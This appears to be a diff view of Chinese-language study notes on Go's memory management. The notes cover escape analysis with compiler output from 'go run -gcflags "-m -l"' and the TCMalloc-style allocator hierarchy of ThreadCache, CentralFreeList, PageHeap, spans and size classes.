Go语言将这个过程整合到了编译器中命名为变量逃逸分析这个技术由编译器分析代码的特征和代码生命期决定是堆还是栈进行内存分配
```go
func test(num int) int {
var t int
t = num
return t
}
//空函数,什么也不做
func void() {
}
func main() {
var a int //声明变量并打印
void() //调用空函数
fmt.Println(a, test(0)) //打印a并调用test
}
```
运行上述代码:
```
# -gcflags参数是编译参数-m表示进行内存分析-l表示避免程序内联优化
go run -gcflags "-m -l" test.go
```
得到结果
```
# command-line-arguments
./test.go:22:13: a escapes to heap # 29行的变量a逃逸到堆
./test.go:22:21: test(0) escapes to heap # test(0)调用逃逸到堆
./test.go:22:13: main ... argument does not escape # 默认提示
0 0
```
test(0)调用逃逸到堆但是test()函数会返回一个整数值这个值被fmt.Println()使用后还是会在其声明后继续在main函数中存在
test函数中的声明的变量t是整型该值通过test函数返回值逃出了函数t变量的值被复制并作为test函数的返回值返回即使t在test函数中分配的内存被释放也不会影响main函数中使用test返回的值t变量使用栈分配不会影响结果
### 2.2 案例2
```go
type Data struct {
}
func test() *Data {
var d Data
return &d // 返回局部变量地址
}
func main() {
fmt.Println(test()) //输出 &{}
}
```
继续使用命令`go run -gcflags "-m -l" test.go`
```
# command-line-arguments
./test.go:11:9: &d escapes to heap
./test.go:10:6: moved to heap: d # 新增提示将d移到堆中
./test.go:15:18: test() escapes to heap
./test.go:15:13: main ... argument does not escape
&{}
```
` moved to heap: d` 表示go编译器已经确认如果c变量被分配在栈上是无法保证程序最终结果的如果坚持这样做test()的返回值是僵尸Data结构的一个不可预知的内存地址这种情况一般是C/C++语言中容易犯错的地方引用了一个函数局部变量的地址Go最终选择将d的Data结构分配到堆上然后由垃圾回收期去回收c的内存
## 原则总结
在使用Go语言进行编程时Go语言设计者不希望开发者将精力放在内存应该分配在栈还是堆上编译器会自动帮助开发者完成这个纠结的选择
编译器觉得变量应该分配在堆还是栈上的原则是
- 变量是否被取地址
- 变量是否发生逃逸

View File

@ -0,0 +1,103 @@
## 内存分配器
### 1.0 Golang的内存分配器TCMalloc
Go的内存分配基于TCMallocThread-Cacing MallocGoogle开发的一款高性能内存分配器源码位于`runtime/malloc.go`但是经过多年发展Go的内存分配算法已经大幅进化但是学习TCMalloc仍然能看到一些Go内存分配的基础
Go采用离散式空闲列表算法Segregated Free List分配内存主要核心算法思想是
- 线程私有性
- 内存分配粒度
### 1.1 线程私有性
TCMalloc内存管理体系分为三个层次
- ThreadCache一般与负责小内存分配每个线程都拥有一份ThreadCache理想情况下每个线程的内存申请都可以在自己的ThreadCache内完成线程之间无竞争所以TCMalloc非常高效这既是**TCMalloc的线程私有性**
- CentralCache内部含有多个CentralFreelist
- PageHeap与负责大内存分配是中央堆分配器被所有线程共享可以与操作系统直接交互申请释放内存大尺寸内存分配会直接通过PageHeap分配
TCMalloc具备线程私有性质然而现实往往是骨感的ThreadCache中内存不足时还需要其他2个组件帮助内存的分配释放从上述三个层级中依次递进当最小的Thread层分配内存失败则从下一层的CentralCache中分配一批补充上来
CentralFreeList是TheadCache和PageHeap之间协调者
- 分配内存CentralFreeList会将PageHeap中的内存切分为小块分配给ThreadCache
- 释放内存CentralFreeList会获取从ThreadCache中回收的内存归还给PageHeap
如图所示
![](../images/go/runtime-03.svg)
### 1.2 内存分配粒度
内存分配调度的最小单位也称为粒度TCMalloc有两种分配粒度
- span用于内部管理span是由连续的page内存组成的一个大块内存负责分配超过256KB的大内存
- object用于面向对象分配object是由span切割成的小块其尺寸被预设了一些规格class如16B32B88不会大于256KB交给了span同一个span切出来的都是相同的object
贴士ThreadCache和CentralCache是管理object的PageHeap管理的是span
如图所示每个class对应一个链表
![](../images/go/runtime-04.svg)
在申请小内存小于256KB时TCMalloc会根据申请内存的大小匹配到与之大小最接近的class中
- 申请O8B大小时会被匹配到 class1 分配 8B 大小
- 申请916B大小时会被匹配到 class2 分配 16 B大小
上述的分配方式可以既非常灵活又能极大避免内存浪费
## 内存分配
### 2.0 分配的第一步
分配器以page为单位向操作系统申请大块内存这些大块内存由n个地址连续的page组成并用名为span的对象进行管理
示例现在拥有128page的span如果要申请1page的span则该span会被划分为2个1+127再把127page的span记录下来
### 2.1 小内存分配
小内存分配对应的ThreadCache是TCMalloc三级分配的第一层是一个TSL线程本地存储对象负责小于256KB的内存申请每个线程都独立拥有各自的离散式空闲列表所以分配过程不需要锁分配速度很高
ThreadCache在分配小内存时首先会通过SizeMap查找要分配的内存所对应的class以及object大小然后检查空闲列表free list是否为空
- 如果非空表示线程还有空闲的内存那么直接从列表中移除第一个object并返回这个过程不需要任何锁
- 如果未空表示线程没有空闲的内存那么从哪个CentralFreeList中获取若干object因为CentralCache是被所有线程共享的能够获取多少object是由慢启动算法决定的获取的object会被分配到ThreadCache对应的class列表中最终取出其中一个object返回
如果CentralFreeList中的object也不够用则会向PageHeap申请一连串页面这些页面被切割为一系列object再将部分object转移给ThreadCache
如果PageHeap也不够用了,则会向操作系统申请内存(page为单位)Go中此处使用mmap方法申请或者通过在/dev/mem中映射申请完毕后继续上面的操作将内存逐级递送给线程
### 2.2 CentralCache
CentralCache内部含有多个CentralFreelist即针对每一种class的objectThreadCache维护的是object链表CentralFreelist维护的是span链表
CentralFreelist示意图
![](../images/go/runtime-05.svg)
span 内的 object 都已经空闲free的情况下 span 整体回收给 PageHeap( span.refcount_记录了被分配出去的 object 个数但是如果每个回收的 object 都需要寻找自己所属的 span然后才能挂进freelist这样就比较耗时了所以 CentralFreeList 里面还
维护了一个缓存 (tc_slots_回收的若干 object 先往缓存里塞不管 object 大小如何缓存满了再分类放进相应 span object 相反如果 ThreadCache 申请 object也是先尝试在缓存里面给没了再去 span 链那里申请
那么这个若干具体是多少个 object 其实这是预定义的称作 batch size不同的class 可能有不同的值 ThreadCache Central Cache 分配或回收 object 都尽量以batch_size 为一个批次而为了使得缓存简单高效如果某次分配或者回收的 object 个数小于 batch size则会绕过缓存直接处理
为了避免在分配 object 时判断 span 是否为空,CentralFreeList 里的 span 链表被分为两个分别是 nonempty_ empty_根据 span objects 链是否有空闲放入对应链表当到了需要分配时只需要在由空变非空或者由非空变空时移动 span 就可以了
CentralFreeList 作为整个体系的中间人它从 PageHeap 中获得 span 并按照预定大小 SizeMap 中的定义将其分割成大小固定的 object 然后 ThreadCache 可以共享 CentralFreeList 列表
ThreadCache 需要从 CentralFreeList 中获取 object 会从 nonempty 链表中获取第一个 span并从这个 span object 链表中获取可用 object 返回 当该 span 无可用 object时将此span nonempty_链表移除并挂到 empty一链表上
ThreadCache object 归还给 CentralFreeList object 会找到它所属的 span并挂载到 object 链表表头如果 span 处在 empty_链表 CentralFreeList 会重新将其挂载到nonempty_链表
span 里还有一个值用于计算 object 是否己满每次分配出 去一个 object, refcount 值就会加 1 每回收一个 object 就会减 1 如果 refcount 等于 0 就表示此 span 所有 object
回家了然后 span 会从 CentralFreeList 的链表中释放并将其退还给上一层 PageHeap
### 2.3 大内存分配
如果遇到要分配的内存大于page这个单位就需要多个page来分配即将多个page组成一个span来分配
TCMalloc中定义的page大小为8KBLinux中为4KB其每次向操作系统申请内存的大小至少为1page
PageHeap虽然按page申请内存但是其内存基本单位是span一个地址连续的pagePageHeap内部维护了一个核心关系page与span的映射关系 当释放回收一个 object object 放回原来的位置需要 CentralFreeList 来处理 object 放回原来的 span,然后才还给 PageHeap 但是之所以能够放回对应的 span 里是因为有 page span 的映射
关系地址值经过地址对齐很容易知道它属于哪一个 page再通过 page span 的映射关系就能知道 object 应该放到哪里
span.sizeclass 记录了 span 切分的 object 属于哪个 class 那么属于这个 span object在释放时就可以放到 ThreadCache 对应 class FreeList 上面接下来 object 如果要回收还给 CentralFreeList就可以直接把它挂到对应 span objects 链表上
page span 的映射关系是基于 radix tree 实现的你可以把它理解为一种很大的数组 page 值作为偏移可以访问到 page 所对应的 span 也有多个 page 指向 同一个 span 的情况因为 span 有时可不止一个 page 查询 radix tree 需要消耗一定时间所以为了避免这些开销 PageHeap CentralFreeList 类似维护了 一个最近活跃的 page class 对应关系的缓存为了保持缓存的效率缓存只有 64KB旧的对应关系会被新来的对应关系替换掉
当需要某个尺寸的 span 没有空闲时可以把更大尺寸的 span 拆分如果大的 span也没有了就是向操作系统要的时候了回收时也需要判断相邻的 span 是否空闲以便将它们组合 判断相邻 span 还是使用 radix tree 查询这种数据结构就像一个大数组可以获取当前 span 前后相邻的 span 地址span 的尺寸有从 1 page 255 page 的所有规格所以 span 可以以 page 为单位用任意尺寸进行拆分和组合

Some files were not shown because too many files have changed in this diff Show More